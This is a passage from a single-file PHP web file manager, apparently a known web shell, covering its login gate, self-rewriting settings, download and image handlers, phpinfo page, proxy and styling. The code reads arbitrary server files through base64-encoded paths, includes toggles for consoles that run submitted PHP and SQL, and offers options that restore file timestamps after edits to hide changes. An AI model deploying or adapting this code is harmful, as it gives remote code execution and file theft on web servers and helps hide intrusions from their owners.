                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,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");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

